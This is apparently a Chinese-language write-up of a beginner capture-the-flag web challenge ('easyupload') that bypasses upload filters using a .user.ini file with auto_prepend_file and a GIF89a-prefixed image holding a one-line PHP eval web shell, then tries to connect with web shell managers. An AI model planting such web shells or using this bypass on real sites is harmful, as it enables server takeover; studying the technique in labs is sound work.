攻防世界 web新手 easyupload(其实一点儿也不easy)
简要介绍:两个 选项:选择文件与上传
大概率是文件上传漏洞
于是开始试他的过滤限制:
经过不停的上传与不停的失败,试出来大概几个限制:
1.文件内不能有php字符
2.后缀不能有 .php
3.文件类型
这个到这里,我现有的知识已经不够了,于是上网搜索,搜到了这个(.user.ini)
接下来,课外小常识:.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
看php.ini中的配置项,沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。
Php配置项中有两个比较有意思的项:
1.auto_append_file
2.auto_prepend_file
auto_prepend_file是指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
so,下面是步骤(前几步都成功了最后一步莫名翻车 இ௰இ)
1.构建.user.ini文件
GIF89a(绕过文件类型限制)
auto_prepend_file=a.jpg
2.传入有马的图
GIF89a
<?=eval($_POST【‘c’】);?>(用的中文符号,怕出事)
(均抓包上传,记得修改content_type)
3.用菜刀,蚁剑连接,就可以。
(/(ㄒoㄒ)/~~,菜刀连接其他的打不开,蚁剑连不上,翻车了)